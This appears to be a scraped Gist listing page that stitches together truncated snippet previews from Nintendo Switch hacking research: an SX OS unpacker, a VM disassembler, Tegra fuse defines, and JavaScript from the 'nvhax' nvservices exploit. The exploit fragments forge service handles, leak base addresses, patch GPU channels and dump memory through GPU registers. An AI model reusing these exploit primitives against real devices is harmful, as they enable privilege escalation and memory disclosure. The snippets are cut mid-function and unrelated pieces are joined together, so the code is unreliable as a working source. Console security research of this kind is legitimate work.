Skip to content

Instantly share code, notes, and snippets.

# The following is adapted from https://github.com/reswitched/loaders/blob/master/nxo64.py
#
# ===========================================================================================
#
# Copyright 2017 Reswitched Team
#
# Permission to use, copy, modify, and/or distribute this software for any purpose with or
# without fee is hereby granted, provided that the above copyright notice and this permission
# notice appear in all copies.
#
###############################################
# TX SX OS unpacker - by hexkyz and naehrwert #
###############################################
from Crypto.Cipher import AES
from Crypto.Util import Counter
import os
import struct
"""
###########################################################
# TX SX OS MIPS VM disassembler - by hexkyz and naehrwert #
###########################################################
import os
import re
import struct
host_calls_0 = {
0x8E943DA2 : "host_crc32 (ptr r4r5, len r6)",
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#define FUSE_IMAGE_SIZE 0x400
#define ROM_BASE 0x100000
#define FUSE_BOOTROM_PATCH_SIZE_T210_START_BIT 13
sploitcore.prototype.nvhax_patch_creport = function(ch_base_addr, dram_addr, pid, mem_offset, mem_size) {
var gpu_va = [0, 0x04];
var dram_base_addr = (dram_addr & 0xFFF00000);
var dram_offset = (dram_addr & 0x000F0000);
// Map GPU MMIO
var gpu_io_vaddr = this.nvhax_map_io(0x57000000, 0x01000000);
// Patch the channel with the base DRAM address
var ch_iova = this.nvhax_patch_channel(ch_base_addr, dram_base_addr);
sploitcore.prototype.nvhax_peephole_dump_mem = function(ch_iova, gpu_va, mem_size) {
// Map GPU MMIO
var gpu_io_vaddr = this.nvhax_map_io(0x57000000, 0x01000000);
// Write the channel's iova in PEEPHOLE PBUS register
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x1718), (0x80000000 | ch_iova));
// Write the GPU virtual address in PEEPHOLE registers
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x6000C), gpu_va[1]);
this.nvhax_write32(utils.add2(gpu_io_vaddr, 0x60010), gpu_va[0]);
sploitcore.prototype.nvhax_patch_channel = function(ch_base_addr, target_paddr) {
// Map GPU MMIO
var gpu_io_vaddr = this.nvhax_map_io(0x57000000, 0x01000000);
// Page directory is always at channel + 0x15000
var pdb_vaddr = utils.add2(ch_base_addr, 0x15000);
// Read page directory base IOVA
var pdb_iova_lo = this.nvhax_read32(utils.add2(ch_base_addr, 0x200));
var pdb_iova_hi = this.nvhax_read32(utils.add2(ch_base_addr, 0x204));
sploitcore.prototype.nvhax_find_channel = function(hw_num) {
var mem_info_addr = utils.add2(this.nvdrv_exp_ctx[6], 0x40000);
var page_info_addr = utils.add2(this.nvdrv_exp_ctx[6], 0x40100);
var test_addr = [0, 0];
var ch_base_addr = [0, 0];
// Look for user channel
while (test_addr[1] < 0x80)
{
var result = this.nvhax_svc(0x06, [mem_info_addr, page_info_addr, test_addr], [], false);
/*
nvhax exploit
*/
// Global nvservices exploit context
sploitcore.prototype.nvdrv_exp_ctx = {};
sploitcore.prototype.spawn_nvdrv_srv = function(sm_handle, transf_mem_addr, transf_mem_size) {
// Forge a new service handle for NVDRV
var srv_handle = this.forge_handle(sm_handle, "nvdrv:t");
sploitcore.prototype.break_nvdrv = function(sm_handle) {
var meminfo = this.malloc(0x20);
var pageinfo = this.malloc(0x8);
// Leak nvservices base address
var nvdrv_base = this.get_nvdrv_base(sm_handle);
// Forge a new service handle for NVDRV
var srv_handle = this.forge_handle(sm_handle, "nvdrv:t");